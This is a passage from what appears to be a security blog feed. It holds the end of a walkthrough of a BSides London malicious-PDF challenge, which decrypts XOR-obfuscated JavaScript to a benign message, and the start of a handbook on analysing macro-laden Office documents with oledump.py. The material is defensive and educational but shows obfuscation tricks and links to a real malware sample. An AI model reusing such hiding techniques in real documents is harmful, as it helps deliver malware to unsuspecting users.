</span><span class='line'>            <span class="nx">cMsg</span><span class="o">:</span> <span class="s2">&quot;Invalid password! Try again&quot;</span><span class="p">,</span>
</span><span class='line'>            <span class="nx">cTitle</span><span class="o">:</span> <span class="s2">&quot;Wrong password&quot;</span><span class="p">,</span>
</span><span class='line'>            <span class="nx">nIcon</span><span class="o">:</span> <span class="mi">0</span>
</span><span class='line'>        <span class="p">});</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'><span class="nx">raven</span><span class="p">();</span>
</span></code></pre></td></tr></table></div></figure>


<p>Condition included in <code>raven()</code> function reveals that the key is comprised of the value of the <code>e</code> field and the word <code>antistring</code>.
What is the <code>e</code> field value and where we can find it?</p>

<p>Let&rsquo;s go back to the <code>object 913</code>. Fields name seem to be defined with <code>/T</code>, for instance:</p>

<ul>
<li><code>/T(door)</code></li>
<li><code>/T(msg)</code></li>
<li><code>/T(door2)</code></li>
</ul>


<p>If we look closer <code>/T(e)</code> is present in the output of the <code>object 913</code>.
Next to it, there is a <a href="https://code.google.com/p/corkami/wiki/PDFTricks#getfield">value</a> <code>/V</code> of <code>9053d91a70acfd6614f0243caac70ce2</code>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/PDF-B/Post<span class="nv">$ </span>egrep /T object913
</span><span class='line'>&lt;&lt;/FT/Tx/Ff 0/Type/Annot/Subtype/Widget/F 6/M<span class="o">(</span>D:20150308184228+00<span class="s1">&#39;00&#39;</span><span class="o">)</span>/Rect<span class="o">[</span> 256.965 600.958 256.965 602.373<span class="o">]</span>/BS
</span><span class='line'>&lt;&lt;/W 1/S/S&gt;&gt;/DA<span class="o">(</span>/Helv <span class="m">0</span> Tf <span class="m">0</span> <span class="m">0</span> <span class="m">0</span> rg<span class="o">)</span>/AP
</span><span class='line'>&lt;&lt;/N <span class="m">191</span> <span class="m">0</span> R &gt;&gt;/V<span class="o">(</span>9053d91a70acfd6614f0243caac70ce2<span class="o">)</span>/DV<span class="o">(</span>9053d91a70acfd6614f0243caac70ce2<span class="o">)</span>/T<span class="o">(</span>��%e<span class="o">)</span>&gt;&gt;
</span></code></pre></td></tr></table></div></figure>


<p>Well, it turns out that <code>9053d91a70acfd6614f0243caac70ce2antistring</code> is our key.</p>

<p><img class="center" src="http://dfir.it/images/toxicpdf-walkthrough-bsides-london-challenge/door2.png" title="Door2" alt="Door2"></p>

<h3>Bonus</h3>

<p>During the initial analysis <code>peepdf</code> reported two JS objects (880, 904). We already know everything about <code>object 904</code>. What about the other one?</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
</pre></td><td class='code'><pre><code class='js'><span class='line'><span class="nx">PPDF</span><span class="o">&gt;</span> <span class="nx">object</span> <span class="mi">880</span>
</span><span class='line'>
</span><span class='line'><span class="o">&lt;&lt;</span> <span class="err">/Length 674</span>
</span><span class='line'><span class="o">/</span><span class="nx">Filter</span> <span class="o">/</span><span class="nx">FlateDecode</span> <span class="o">&gt;&gt;</span>
</span><span class='line'><span class="nx">stream</span>
</span><span class='line'><span class="kd">var</span> <span class="nx">pluto</span> <span class="o">=</span> <span class="s2">&quot;its%13%05WUA%7DQ%17%025%07D_A@FQ@Q%13%0C%07%15%06Y%10%02%07G%12%0B%10I%11%0DR%08%1A%13XS%5EV%16J%11%15X%10%09%0A%02%01%16SID%0A_%5B@%13%00%0E%05%06%19%100%0A_%04N%1B%0FS%00%1A%0C%07%15%19DGZ%07RBA%5E%5E%02%0F%13%00S%16%5CA%0AD%5BD_%06A%0D%02NU%11%16%12%0E%08T%0C%1D%17%00%10%1E%13P_%5B%1FDZ%5D%04AU%13C%15%10D__S%15%10SZWC%08%0F%17RW%06%17%12%0C%0F%1A%00%03%01%1E%08%1A%0EV%5E%19%13%05LE%0EZQ%15%0A%05DPYCYFQQ@Z%0C%0F%12O%17X%0A%01V%04%00T%08%1D%10%16%0C%0D%08@%10ZQ%0E%5CR%15D%1Eki%25%0BXQCU%12E%5EUG%0A%0E%0F%10%1B%10%01%1C%12%0F%01%03I%0A%1B%07N%1C%02%19QYA%01XU%18%17V%00%0E%0F%08_WC%14%11YF%5C%13%17%09%04CUQ%10%0CQA%1A%06%00%10%1F%01I%0F%09%5D%10%5E%5D%0BN%11%09XGA%17%09DRSEQ%05D%12@%5B%06%0C@i%3Dd%0B%04%5C%0AN%0D%06%06T%14%06%1CGI%5CTJ%0DWVAV%5E%05C%15%01S%16H%5B%13%10S@%13%212%08%07RCB&quot;</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">whisper</span><span class="p">(</span><span class="nx">lenore</span><span class="p">,</span> <span class="nx">tap</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">nap</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span><span class="p">;</span>
</span><span class='line'>    <span class="k">for</span> <span class="p">(</span><span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nx">i</span><span class="o">&lt;</span><span class="nx">lenore</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="nx">lenore</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
</span><span class='line'>        <span class="kd">var</span> <span class="nx">b</span> <span class="o">=</span> <span class="nx">a</span> <span class="o">^</span> <span class="nx">tap</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">i</span> <span class="o">%</span> <span class="nx">tap</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'>        <span class="nx">nap</span> <span class="o">=</span> <span class="nx">nap</span><span class="o">+</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">nap</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'><span class="k">this</span><span class="p">.</span><span class="nx">getField</span><span class="p">(</span><span class="s2">&quot;366&quot;</span><span class="p">).</span><span class="nx">value</span> <span class="o">=</span> <span class="nx">whisper</span><span class="p">(</span><span class="nx">unescape</span><span class="p">(</span><span class="nx">pluto</span><span class="p">),</span> <span class="nx">event</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="nx">endstream</span>
</span><span class='line'>
</span><span class='line'><span class="nx">PPDF</span><span class="o">&gt;</span> <span class="nx">object</span> <span class="mi">880</span> <span class="o">&gt;</span> <span class="nx">object880</span><span class="p">.</span><span class="nx">js</span>
</span></code></pre></td></tr></table></div></figure>


<p>This object also includes an obfuscated string. It took me a while to realize what it is. <code>whisper()</code> seems to be another decrypting routine that accepts string to be decrypted and key as parameters. We have the message (<code>pluto</code>) and now we know the key right? What if&hellip;</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='js'><span class='line'><span class="nx">remnux</span><span class="err">@</span><span class="nx">remnux</span><span class="o">:~</span><span class="err">/Desktop/PDF-B/Post$ js</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">load</span><span class="p">([</span><span class="s2">&quot;object880.js&quot;</span><span class="p">])</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">pluto</span>
</span><span class='line'><span class="nx">its</span><span class="o">%</span><span class="mi">13</span><span class="o">%</span><span class="mi">05</span><span class="nx">WUA</span><span class="o">%</span><span class="mi">7</span><span class="nx">DQ</span><span class="o">%</span><span class="mi">17</span><span class="o">%</span><span class="mi">025</span><span class="o">%</span><span class="mi">07</span><span class="nx">D_A</span><span class="err">@</span><span class="nx">FQ</span><span class="err">@</span><span class="nx">Q</span><span class="o">%</span><span class="mi">13</span><span class="o">%</span><span class="mi">0</span><span class="nx">C</span><span class="o">%</span><span class="mi">07</span><span class="o">%</span><span class="mi">15</span><span class="o">%</span><span class="mi">06</span><span class="nx">Y</span><span class="o">%</span><span class="mi">10</span><span class="o">%</span><span class="mi">02</span><span class="o">%</span><span class="mi">07</span><span class="nx">G</span><span class="o">%</span><span class="mi">12</span><span class="o">%</span><span class="mi">0</span><span class="nx">B</span><span class="o">%</span><span class="mi">10</span><span class="nx">I</span><span class="o">%</span><span class="mi">11</span><span class="o">%</span><span class="mi">0</span><span class="nx">DR</span><span class="o">%</span><span class="mi">08</span><span class="o">%</span><span class="mi">1</span><span class="nx">A</span><span class="o">%</span><span class="mi">13</span><span class="nx">XS</span><span class="o">%</span><span class="mi">5</span><span class="nx">EV</span><span class="o">%</span><span class="mi">16</span><span class="nx">J</span><span class="o">%</span><span class="mi">11</span><span class="o">%</span><span class="mi">15</span><span class="nx">X</span><span class="o">%</span><span class="mi">10</span><span class="o">%</span><span class="mi">09</span><span class="o">%</span><span class="mi">0</span><span class="nx">A</span><span class="o">%</span><span class="mi">02</span><span class="o">%</span><span class="mi">01</span><span class="o">%</span><span class="mi">16</span><span class="nx">SID</span><span class="o">%</span><span class="mi">0</span><span class="nx">A_</span><span class="o">%</span><span class="mi">5</span><span class="nx">B</span><span class="err">@</span><span class="o">%</span><span class="mi">13</span><span class="o">%</span><span class="mi">00</span><span class="o">%</span><span class="mi">0</span><span class="nx">E</span><span class="o">%</span><span class="mi">05</span><span class="o">%</span><span class="mi">06</span><span class="o">%</span><span class="mi">19</span><span class="o">%</span><span class="mi">100</span><span class="o">%</span><span class="mi">0</span><span class="nx">A_</span><span class="o">%</span><span class="mi">04</span><span class="nx">N</span><span class="o">%</span><span class="mi">1</span><span class="nx">B</span><span class="o">%</span><span class="mi">0</span><span class="nx">FS</span><span class="o">%</span><span class="mi">00</span><span class="o">%</span><span class="mi">1</span><span class="nx">A</span><span class="o">%</span><span class="mi">0</span><span class="nx">C</span><span class="o">%</span><span class="mi">07</span><span class="o">%</span><span class="mi">15</span><span class="o">%</span><span class="mi">19</span><span class="nx">DGZ</span><span class="o">%</span><span class="mi">07</span><span class="nx">RBA</span><span class="o">%</span><span class="mi">5</span><span class="nx">E</span><span class="o">%</span><span class="mi">5</span><span class="nx">E</span><span class="o">%</span><span class="mi">02</span><span class="o">%</span><span class="mi">0</span><span class="nx">F</span><span class="o">%</span><span class="mi">13</span><span class="o">%</span><span class="mi">00</span><span class="nx">S</span><span class="o">%</span><span class="mi">16</span><span class="o">%</span><span class="mi">5</span><span class="nx">CA</span><span class="o">%</span><span class="mi">0</span><span class="nx">AD</span><span class="o">%</span><span class="mi">5</span><span class="nx">BD_</span><span class="o">%</span><span class="mi">06</span><span class="nx">A</span><span class="o">%</span><span class="mi">0</span><span class="nx">D</span><span class="o">%</span><span class="mi">02</span><span class="nx">NU</span><span class="o">%</span><span class="mi">11</span><span class="o">%</span><span class="mi">16</span><span class="o">%</span><span class="mi">12</span><span class="o">%</span><span class="mi">0</span><span class="nx">E</span><span class="o">%</span><span class="mi">08</span><span class="nx">T</span><span class="o">%</span><span class="mi">0</span><span class="nx">C</span><span class="o">%</span><span class="mi">1</span><span class="nx">D</span><span class="o">%</span><span class="mi">17</span><span class="o">%</span><span class="mi">00</span><span class="o">%</span><span class="mi">10</span><span class="o">%</span><span class="mi">1</span><span class="nx">E</span><span class="o">%</span><span class="mi">13</span><span class="nx">P_</span><span class="o">%</span><span class="mi">5</span><span class="nx">B</span><span class="o">%</span><span class="mi">1</span><span class="nx">FDZ</span><span class="o">%</span><span class="mi">5</span><span class="nx">D</span><span class="o">%</span><span class="mi">04</span><span class="nx">AU</span><span class="o">%</span><span class="mi">13</span><span class="nx">C</span><span class="o">%</span><span class="mi">15</span><span class="o">%</span><span class="mi">10</span><span class="nx">D__S</span><span class="o">%</span><span class="mi">15</span><span class="o">%</span><span class="mi">10</span><span class="nx">SZWC</span><span class="o">%</span><span class="mi">08</span><span class="o">%</span><span class="mi">0</span><span class="nx">F</span><span class="o">%</span><span class="mi">17</span><span class="nx">RW</span><span class="o">%</span><span class="mi">06</span><span class="o">%</span><span class="mi">17</span><span class="o">%</span><span class="mi">12</span><span class="o">%</span><span class="mi">0</span><span class="nx">C</span><span class="o">%</span><span class="mi">0</span><span class="nx">F</span><span class="o">%</span><span class="mi">1</span><span class="nx">A</span><span class="o">%</span><span class="mi">00</span><span class="o">%</span><span class="mi">03</span><span class="o">%</span><span class="mi">01</span><span class="o">%</span><span class="mi">1</span><span class="nx">E</span><span class="o">%</span><span class="mi">08</span><span class="o">%</span><span class="mi">1</span><span class="nx">A</span><span class="o">%</span><span class="mi">0</span><span class="nx">EV</span><span class="o">%</span><span class="mi">5</span><span class="nx">E</span><span class="o">%</span><span class="mi">19</span><span class="o">%</span><span class="mi">13</span><span class="o">%</span><span class="mi">05</span><span class="nx">LE</span><span class="o">%</span><span class="mi">0</span><span class="nx">EZQ</span><span class="o">%</span><span class="mi">15</span><span class="o">%</span><span class="mi">0</span><span class="nx">A</span><span class="o">%</span><span class="mi">05</span><span class="nx">DPYCYFQQ</span><span class="err">@</span><span class="nx">Z</span><span class="o">%</span><span class="mi">0</span><span class="nx">C</span><span class="o">%</span><span class="mi">0</span><span class="nx">F</span><span class="o">%</span><span class="mi">12</span><span class="nx">O</span><span class="o">%</span><span class="mi">17</span><span class="nx">X</span><span class="o">%</span><span class="mi">0</span><span class="nx">A</span><span class="o">%</span><span class="mi">01</span><span class="nx">V</span><span class="o">%</span><span class="mi">04</span><span class="o">%</span><span class="mi">00</span><span class="nx">T</span><span class="o">%</span><span class="mi">08</span><span class="o">%</span><span class="mi">1</span><span class="nx">D</span><span class="o">%</span><span class="mi">10</span><span class="o">%</span><span class="mi">16</span><span class="o">%</span><span class="mi">0</span><span class="nx">C</span><span class="o">%</span><span class="mi">0</span><span class="nx">D</span><span class="o">%</span><span class="mi">08</span><span class="err">@</span><span class="o">%</span><span class="mi">10</span><span class="nx">ZQ</span><span class="o">%</span><span class="mi">0</span><span class="nx">E</span><span class="o">%</span><span class="mi">5</span><span class="nx">CR</span><span class="o">%</span><span class="mi">15</span><span class="nx">D</span><span class="o">%</span><span class="mi">1</span><span class="nx">Eki</span><span class="o">%</span><span class="mi">25</span><span class="o">%</span><span class="mi">0</span><span class="nx">BXQCU</span><span class="o">%</span><span class="mi">12</span><span class="nx">E</span><span class="o">%</span><span class="mi">5</span><span class="nx">EUG</span><span class="o">%</span><span class="mi">0</span><span class="nx">A</span><span class="o">%</span><span class="mi">0</span><span class="nx">E</span><span class="o">%</span><span class="mi">0</span><span class="nx">F</span><span class="o">%</span><span class="mi">10</span><span class="o">%</span><span class="mi">1</span><span class="nx">B</span><span class="o">%</span><span class="mi">10</span><span class="o">%</span><span class="mi">01</span><span class="o">%</span><span class="mi">1</span><span class="nx">C</span><span class="o">%</span><span class="mi">12</span><span class="o">%</span><span class="mi">0</span><span class="nx">F</span><span class="o">%</span><span class="mi">01</span><span class="o">%</span><span class="mi">03</span><span class="nx">I</span><span class="o">%</span><span class="mi">0</span><span class="nx">A</span><span class="o">%</span><span class="mi">1</span><span class="nx">B</span><span class="o">%</span><span class="mi">07</span><span class="nx">N</span><span class="o">%</span><span class="mi">1</span><span class="nx">C</span><span class="o">%</span><span class="mi">02</span><span class="o">%</span><span class="mi">19</span><span class="nx">QYA</span><span class="o">%</span><span class="mi">01</span><span class="nx">XU</span><span class="o">%</span><span class="mi">18</span><span class="o">%</span><span class="mi">17</span><span class="nx">V</span><span class="o">%</span><span class="mi">00</span><span class="o">%</span><span class="mi">0</span><span class="nx">E</span><span class="o">%</span><span class="mi">0</span><span class="nx">F</span><span class="o">%</span><span class="mi">08</span><span class="nx">_WC</span><span class="o">%</span><span class="mi">14</span><span class="o">%</span><span class="mi">11</span><span class="nx">YF</span><span class="o">%</span><span class="mi">5</span><span class="nx">C</span><span class="o">%</span><span class="mi">13</span><span class="o">%</span><span class="mi">17</span><span class="o">%</span><span class="mi">09</span><span class="o">%</span><span class="mi">04</span><span class="nx">CUQ</span><span class="o">%</span><span class="mi">10</span><span class="o">%</span><span class="mi">0</span><span class="nx">CQA</span><span class="o">%</span><span class="mi">1</span><span class="nx">A</span><span class="o">%</span><span class="mi">06</span><span class="o">%</span><span class="mi">00</span><span class="o">%</span><span class="mi">10</span><span class="o">%</span><span class="mi">1</span><span class="nx">F</span><span class="o">%</span><span class="mi">01</span><span class="nx">I</span><span class="o">%</span><span class="mi">0</span><span class="nx">F</span><span class="o">%</span><span class="mi">09</span><span class="o">%</span><span class="mi">5</span><span class="nx">D</span><span class="o">%</span><span class="mi">10</span><span class="o">%</span><span class="mi">5</span><span class="nx">E</span><span class="o">%</span><span class="mi">5</span><span class="nx">D</span><span class="o">%</span><span class="mi">0</span><span class="nx">BN</span><span class="o">%</span><span class="mi">11</span><span class="o">%</span><span class="mi">09</span><span class="nx">XGA</span><span class="o">%</span><span class="mi">17</span><span class="o">%</span><span class="mi">09</span><span class="nx">DRSEQ</span><span class="o">%</span><span class="mi">05</span><span class="nx">D</span><span class="o">%</span><span class="mi">12</span><span class="err">@</span><span class="o">%</span><span class="mi">5</span><span class="nx">B</span><span class="o">%</span><span class="mi">06</span><span class="o">%</span><span class="mi">0</span><span class="nx">C</span><span class="err">@</span><span class="nx">i</span><span class="o">%</span><span class="mi">3</span><span class="nx">Dd</span><span class="o">%</span><span class="mi">0</span><span class="nx">B</span><span class="o">%</span><span class="mi">04</span><span class="o">%</span><span class="mi">5</span><span class="nx">C</span><span class="o">%</span><span class="mi">0</span><span class="nx">AN</span><span class="o">%</span><span class="mi">0</span><span class="nx">D</span><span class="o">%</span><span class="mi">06</span><span class="o">%</span><span class="mi">06</span><span class="nx">T</span><span class="o">%</span><span class="mi">14</span><span class="o">%</span><span class="mi">06</span><span class="o">%</span><span class="mi">1</span><span class="nx">CGI</span><span class="o">%</span><span class="mi">5</span><span class="nx">CTJ</span><span class="o">%</span><span class="mi">0</span><span class="nx">DWVAV</span><span class="o">%</span><span class="mi">5</span><span class="nx">E</span><span class="o">%</span><span class="mi">05</span><span class="nx">C</span><span class="o">%</span><span class="mi">15</span><span class="o">%</span><span class="mi">01</span><span class="nx">S</span><span class="o">%</span><span class="mi">16</span><span class="nx">H</span><span class="o">%</span><span class="mi">5</span><span class="nx">B</span><span class="o">%</span><span class="mi">13</span><span class="o">%</span><span class="mi">10</span><span class="nx">S</span><span class="err">@</span><span class="o">%</span><span class="mi">13</span><span class="o">%</span><span class="mi">212</span><span class="o">%</span><span class="mi">08</span><span class="o">%</span><span class="mi">07</span><span class="nx">RCB</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">whisper</span><span class="p">(</span><span class="nx">unescape</span><span class="p">(</span><span class="nx">pluto</span><span class="p">),</span><span class="s2">&quot;9053d91a70acfd6614f0243caac70ce2antistring&quot;</span><span class="p">)</span>
</span><span class='line'><span class="nx">PDF</span> <span class="nx">and</span> <span class="nx">JavaScript</span> <span class="nx">are</span> <span class="nx">often</span> <span class="nx">abused</span> <span class="nx">by</span> <span class="nx">attackers</span> <span class="nx">to</span> <span class="nx">hide</span> <span class="nx">exploit</span> <span class="nx">code</span><span class="p">.</span> <span class="nx">Some</span> <span class="nx">of</span> <span class="nx">their</span> <span class="nx">tricks</span> <span class="nx">include</span> <span class="nx">multiple</span> <span class="nx">layers</span> <span class="nx">of</span> <span class="nx">encryption</span><span class="p">,</span> <span class="nx">clever</span> <span class="nx">strings</span> <span class="nx">and</span> <span class="nx">integer</span> <span class="nx">manipulation</span><span class="p">,</span> <span class="nx">automatic</span> <span class="nx">form</span> <span class="nx">actions</span><span class="p">,</span> <span class="nx">hidden</span> <span class="nx">anddecoy</span> <span class="nx">objects</span><span class="p">.</span>
</span><span class='line'>
</span><span class='line'><span class="nx">Congratulations</span><span class="p">,</span> <span class="nx">by</span> <span class="nx">now</span> <span class="nx">you</span><span class="err">&#39;</span><span class="nx">re</span> <span class="nx">already</span> <span class="nx">familiar</span> <span class="kd">with</span> <span class="nx">the</span> <span class="nx">basic</span> <span class="nx">tricks</span> <span class="nx">and</span> <span class="nx">know</span> <span class="nx">how</span> <span class="nx">to</span> <span class="nx">detect</span> <span class="nx">them</span><span class="o">!</span>
</span><span class='line'>
</span><span class='line'><span class="nx">Thank</span> <span class="nx">you</span> <span class="k">for</span> <span class="nx">playing</span> <span class="nx">and</span> <span class="nx">see</span> <span class="nx">you</span> <span class="nx">at</span> <span class="nx">BSides</span><span class="o">!</span>
</span></code></pre></td></tr></table></div></figure>


<p>Thank you <strong>BSides London</strong> and thank you <strong>Liviu Itoafă</strong> for creating this challenge. I am still not sure if this is the right way to solve the challenge but it was fun!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Analyst's Handbook - Analyzing Weaponized Documents]]></title>
    <link href="http://dfir.it/blog/2015/06/17/analysts-handbook-analyzing-weaponized-documents/"/>
    <updated>2015-06-17T21:08:13+02:00</updated>
    <id>http://dfir.it/blog/2015/06/17/analysts-handbook-analyzing-weaponized-documents</id>
    <content type="html"><![CDATA[<p>Weaponized documents (I really hate this name!) are just another method used by bad guys to deliver malicious payload. Recently this technique was used by criminal groups delivering banking trojans (e.g. <a href="https://isc.sans.edu/forums/diary/Recent+Dridex+activity/19687/">Dridex</a>), but as you might expect it was also used by APT actors (e.g. <a href="https://www.youtube.com/watch?v=WIhKovlHDJ0">Rocket Kitten</a> in <a href="http://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing">Operation Woolen Goldfish</a>). Regardless of the threat type (APT, commodity, etc.) analysis of the malicious documents should be an essential skill of every analyst.</p>

<!--more-->


<h3>Introduction</h3>

<p>Nowadays Microsoft Office documents are a collections of XML files stored in a ZIP file. Historically storing multiple objects in one document was challenging for traditional file systems in terms of efficiency. In order to address this issue a structure called <a href="https://msdn.microsoft.com/en-us/library/59ccb2ef-1ce5-41e3-bc30-075dea759d0a#compound_file">Microsoft Compound File Binary</a> also known as <strong>Object Linking and Embedding (OLE) compound file</strong> was created. The structure defines files as hierarchical collection of two objects - <strong>storage</strong> and <strong>stream</strong>. Basically think of storage and a stream as directory and a file respectively.</p>

<p>Another objects that you might encounter in the OLE files are <strong>macros</strong>. Macros allow to automate tasks and add functionality to your documents like reports, forms, etc. Macros can use <strong>Visual Basic</strong> (VBA) which is where bad guys will often try to hide their malicious code. This is what we are after in this handbook - finding and extracting malicious code from OLE files!</p>

<h3>Prerequisites</h3>

<h4>Process</h4>

<p>Lenny Zeltser created an awesome <a href="https://zeltser.com/analyzing-malicious-documents/">cheat sheet</a> for analyzing malicious documents. Generally it contains the following steps:</p>

<ol>
<li>Find malicious code</li>
<li>Extract code</li>
<li>Analyze code</li>
<li>Extract host and network indicators</li>
</ol>


<h4>Malware Analysis</h4>

<p>Analysis will be carried out in <a href="https://remnux.org/">REMnux</a> a free Linux Toolkit for Reverse-Engineering and Analyzing Malware.
The easiest and quickest option is to download <code>ova</code> file and set up REMnux on a virtual machine. Keep in mind we will be analyzing malicious script so be sure to do it <a href="http://resources.infosecinstitute.com/environment-for-malware-analysis/">properly</a>. I will not describe how to set up malware environment in this post however there are plenty of available resources <a href="https://zeltser.com/vmware-network-isolation-for-malware-analysis/">here</a>, <a href="https://www.blackhat.com/presentations/bh-dc-07/Kendall_McMillan/Presentation/bh-dc-07-Kendall_McMillan.pdf">here</a>, <a href="http://www.sans.org/reading-room/whitepapers/threats/malware-analysis-environment-design-artitecture-1841">here</a> and <a href="http://www.giac.org/paper/gsec/4791/malware-analysis-introduction/108335">here</a>.</p>

<h4>Sample</h4>

<p>If you want to follow along with the examples you can grab the file from <a href="https://www.hybrid-analysis.com/sample/39670aa4e8b209ccb70f1ea19bdf94031f497c98a553749b0335d9c779982854?environmentId=1">www.hybrid-analysis.com</a>.</p>

<h3>Analysis</h3>

<p>Personally I like to start with a <code>file</code> command to get a better feeling of what am I dealing with.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH<span class="nv">$ </span>file malware1.doc
</span><span class='line'>malware1.doc: CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Raz0r, Revision Number: 198, Name of Creating Application: Microsoft Office Word,
</span><span class='line'>Total Editing Time: 01:47:00, Create Time/Date: Mon Jan <span class="m">12</span> 00:32:00 2015, Last Saved Time/Date: Wed May  <span class="m">6</span> 04:22:00 2015, Number of Pages: 1, Number of Words: 21, Number of Characters: 122, Security: 0
</span></code></pre></td></tr></table></div></figure>


<p>Output provides a lot of useful information including:</p>

<ul>
<li>File format: CDF V2 Document</li>
<li>OS: Windows</li>
<li>Application: Microsoft Word</li>
<li>Author name: Raz0r</li>
<li>Last Saved Time/Date: Wed May  6 04:22:00 2015</li>
</ul>


<p><strong>Compound Document Format (CDF)</strong> as described in the introduction section contains multiple different objects.</p>

<p>Let&rsquo;s take a closer look.</p>

<h4>oledump.py</h4>

<p>First we will examine file with <code>oledump.py</code> written and maintained by <a href="http://blog.didierstevens.com/">Didier Stevens</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH<span class="nv">$ </span>oledump.py malware1.doc
</span><span class='line'>  1:       <span class="m">114</span> <span class="s1">&#39;\x01CompObj&#39;</span>
</span><span class='line'>  2:      <span class="m">4096</span> <span class="s1">&#39;\x05DocumentSummaryInformation&#39;</span>
</span><span class='line'>  3:      <span class="m">4096</span> <span class="s1">&#39;\x05SummaryInformation&#39;</span>
</span><span class='line'>  4:      <span class="m">9602</span> <span class="s1">&#39;1Table&#39;</span>
</span><span class='line'>  5:    <span class="m">137803</span> <span class="s1">&#39;Data&#39;</span>
</span><span class='line'>  6:       <span class="m">539</span> <span class="s1">&#39;Macros/PROJECT&#39;</span>
</span><span class='line'>  7:        <span class="m">71</span> <span class="s1">&#39;Macros/PROJECTwm&#39;</span>
</span><span class='line'>  8: M    <span class="m">5258</span> <span class="s1">&#39;Macros/VBA/NewMacros&#39;</span>
</span><span class='line'>  9: m     <span class="m">938</span> <span class="s1">&#39;Macros/VBA/ThisDocument&#39;</span>
</span><span class='line'> 10:      <span class="m">3483</span> <span class="s1">&#39;Macros/VBA/_VBA_PROJECT&#39;</span>
</span><span class='line'> 11:       <span class="m">578</span> <span class="s1">&#39;Macros/VBA/dir&#39;</span>
</span><span class='line'> 12:      <span class="m">4096</span> <span class="s1">&#39;WordDocument&#39;</span>
</span></code></pre></td></tr></table></div></figure>


<p>One of the cool things about <code>oledump.py</code> is its ability to mark streams that contain <strong>VBA code</strong>. In the above output we can see two streams called <code>NewMacros</code> and <code>ThisDocument</code>. Letters <code>M</code> and <code>m</code> indicate that <strong>VBA code</strong> is present. Lowercase <code>m</code> means VBA contains only attributes statements (less interesting):</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH<span class="nv">$ </span>oledump.py -s9 -v malware1.doc
</span><span class='line'>Attribute <span class="nv">VB_Name</span> <span class="o">=</span> <span class="s2">&quot;ThisDocument&quot;</span>
</span><span class='line'>Attribute <span class="nv">VB_Base</span> <span class="o">=</span> <span class="s2">&quot;1Normal.ThisDocument&quot;</span>
</span><span class='line'>Attribute <span class="nv">VB_GlobalNameSpace</span> <span class="o">=</span> False
